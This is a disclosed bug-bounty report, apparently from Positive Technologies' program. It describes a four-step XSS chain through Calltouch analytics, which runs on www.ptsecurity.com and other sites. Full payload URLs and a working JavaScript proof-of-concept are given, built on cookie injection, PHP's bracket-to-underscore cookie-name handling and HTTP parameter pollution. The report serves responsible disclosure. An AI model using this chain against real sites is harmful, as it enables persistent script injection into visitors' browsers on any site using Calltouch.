[www.ptsecurity.com] XSS через Сalltouch
Summary by the hacker
Используя уязвимости аналитики Сalltouch, используемой на сайте
www.ptsecurity.com
, возможно выполнение произвольного JavaScript кода в контексте www.ptsecurity.com
, а также ЛЮБОГО сайта, использующего Сalltouch.Шаги для воспроизведения
Шаг #1 (XSS на calltouch и создание cookie _ct[client_global_id)
- Открыть ссылку:
http://mod.calltouch.ru/global_cookie.php?ctClientGlobalId=%3Cscript%3Edocument.cookie=%22_ct[client_global_id=;domain=.calltouch.ru;path=/global_cookie.php;%22%3C/script%3E
Данный шаг необходим в случае, если пользователь ранее открывал сайт
Сайт открывается по HTTP, чтобы сценарий
Далее, через уязвимость XSS в сценарии
Символ
www.ptsecurity.com
и имеет в контексте сайта mod.calltouch.ru
cookie _ct_client_global_id
.Сайт открывается по HTTP, чтобы сценарий
global_cookie.php
не получил существующее значение cookie _ct_client_global_id
, так как оно установлено с аттрибутом Secure.Далее, через уязвимость XSS в сценарии
global_cookie.php
создается значение _ct[client_global_id
, которое при следующем запросе будет идти первым в списке Cookie и заблокирует реальное значение _ct_client_global_id
.Символ
[
в ключе cookie обрабатывается PHP как _
.Шаг #2 (Перезапись заблокированной cookie через ctClientGlobalId)
- Открыть ссылку
https://mod.calltouch.ru/global_cookie.php?ctClientGlobalId=xxx%26ctObject='-alert(document.domain)-'
При открытии ссылки отправится запрос, содержащий заголовок
Cookie: _ct[client_global_id=; _ct_client_global_id=<реальное_значение>;
Сценарий
global_cookie.php
в результате не получит значение из Cookie и обработает параметр из _GET ctClientGlobalId
.Шаг #3 (Обновление cookie в контексте www.ptsecurity.com)
- Открыть ссылку
https://www.ptsecurity.com/ru-ru/
Сайт
www.ptsecurity.com
обращается к сценарию mod.calltouch.ru/global_cookie.php
и обновляет свою cookie _ct_client_global_id
в значение xxx&ctObject='-alert(document.domain)-'
Шаг #4 (Вызов XSS через HTTP Parameter Pollution)
- Еще раз открыть ссылку
https://www.ptsecurity.com/ru-ru/
Сайт
Через HTTP Parameter Pollution переопределяется параметр
www.ptsecurity.com
обращается к сценарию mod.calltouch.ru/d_client_new.js
, поставляет значение cookie _ct_client_global_id
в параметр ctClientGlobalId
.Через HTTP Parameter Pollution переопределяется параметр
ctObject
в значение '-alert(document.domain)-'
и генерируется следующий JavaScriptif (window[''-alert(document.domain)-''] && typeof window[''-alert(document.domain)-''] === 'function') {
В результате эксплуатации получается XSS через Cookie, которая вызывается каждый раз на любой странице, которая использует calltouch.
Пример эксплуатации
<button onclick="step1()">Exploit</button> <script> var w function step1() { w = window.open("http://mod.calltouch.ru/global_cookie.php?ctClientGlobalId=%3Cscript%3Edocument.cookie=%22_ct[client_global_id=;domain=.calltouch.ru;path=/global_cookie.php;%22%3C/script%3E") window.focus() setTimeout(step2, 3000) } function step2() { w.location = "https://mod.calltouch.ru/global_cookie.php?ctClientGlobalId=xxx%26ctObject='-alert(document.domain)-'" setTimeout(step3, 3000) } function step3() { w.location = "https://www.ptsecurity.com/ru-ru/" setTimeout(step4, 5000) } function step4() { w.location = "https://www.ptsecurity.com/ru-ru/" } </script>
Reward
₽7,777
Positive Technologies
Positive Technologies
Report No.: 9
Created: May 19, 2022, 12:50
Disclosed: August 2, 2024, 09:24
Status: Accepted
Type: Vulnerability
Severity:
Medium
Author:BlackFan